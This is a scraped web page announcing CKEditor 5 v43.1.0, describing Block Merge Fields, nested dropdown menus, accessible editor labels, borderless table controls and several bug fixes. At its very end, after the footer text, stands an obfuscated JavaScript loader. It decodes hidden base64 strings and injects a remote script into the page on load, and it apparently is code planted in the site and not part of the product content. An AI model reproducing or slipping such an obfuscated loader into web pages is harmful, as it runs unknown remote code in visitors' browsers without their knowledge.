Webinar: Level Up Your Drupal Content Editing with CKEditor Features

Sign up

CKEditor v43.1.0 Release Highlights: Block Merge Fields, Nested Dropdowns, and more

Introducing the release of CKEditor 5 v43.1.0, which is packed with several useful improvements and bug fixes to enhance your document editing experience. This update includes the Block Merge Fields feature, nested dropdown menus to enable more organized UI structures, and improved table and cell border controls for easier customization.

What is the latest version of CKEditor?

The latest version of CKEditor 5 is v43.1.0, bringing small but meaningful enhancements such as Block Merge Fields, nested dropdown menus, improved table and cell border controls and the ability to configure the accessible label for the editable area.

UPDATED Merge Fields, now also as blocks

Introduced in CKEditor 5 v43.0.0, Merge Fields allows for insertion inline text placeholders which can be dynamically replaced with actual data during document generation. Now with the release of v43.1.0, Merge Fields also allows for block placeholders, further expanding its personalized templating capabilities.

In contrast to regular, inline Merge Fields, the block Merge Fields are designed to represent complex, block-level structures, such as a dynamically generated table, a row of products, or a personalized call-to-action segment. Block Merge Fields are meant to be replaced by arbitrary HTML data when the document template is post-processed or exported to a PDF or Word file.

undefined

For more details about the Merge Fields feature, you can visit the Merge Fields documentation.

NEW Nested dropdown menus

CKEditor 5 v43.1.0 also introduces a new UI component: nested dropdown menu. This component enables plugins developers to easily organize buttons into hierarchical, nested menu structures when introducing custom features. It’s particularly beneficial for features that require users to navigate a wide range of options or settings, as it enhances the user experience by grouping related items in nested menus.

The nested dropdown menu component is featured in the AI Assistant plugin.

A view of AI Assistant nested dropdown menu
A view of AI Assistant nested dropdown menu

You can learn more in the nested dropdown menu documentation.

UPDATED Customizable Accessible Labels

This update allows you to configure an accessible label for the editable area through the editor settings. By aligning the editor’s labels with your system’s requirements, this improvement enhances overall accessibility, providing a more tailored user experience for individuals with disabilities.

UPDATED Table and Cell Border Controls

Managing table and cell borders has been made even easier with CKEditor 5 v43.1.0. This enhancement introduces the ability to create tables with no borders. Making it particularly useful for creating better-looking CVs or report templates, where table structuring may help to achieve a proper layout faster.

The updated UI clearly indicates the default and custom border settings, providing simplified controls for adjusting them as needed without any additional configuration.

CV created with a table without borders.
CV created with a table without borders.

Other Improvements and fixes

This release includes the following enhancements and bug fixes as well:

  • Feature: Support for balloon toolbar in multi-root editor.

  • Fixed: Checkbox state in a to-do list within a table cell is now preserved correctly after saving and reloading.

  • Fixed: The table toolbar now correctly detects and moves with the editor’s sticky toolbar, preventing overlap with other toolbars.

  • Fixed: Editor no longer crashes when attempting to style a veeeery long paragraph.

Learn more about previous CKEditor 5 versions

Related posts

Subscribe to our newsletter

Keep your CKEditor fresh! Receive updates about releases, new features and security fixes.

Input email to subscribe to newsletter

Thanks for subscribing!

Hi there, any questions about products or pricing?

Questions about our products or pricing?

Contact our Sales Representatives.

Form content fields

Form submit

Hidden unused field.

We are happy to
hear from you!

Thank you for reaching out to the CKEditor Sales Team. We have received your message and we will contact you shortly.

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });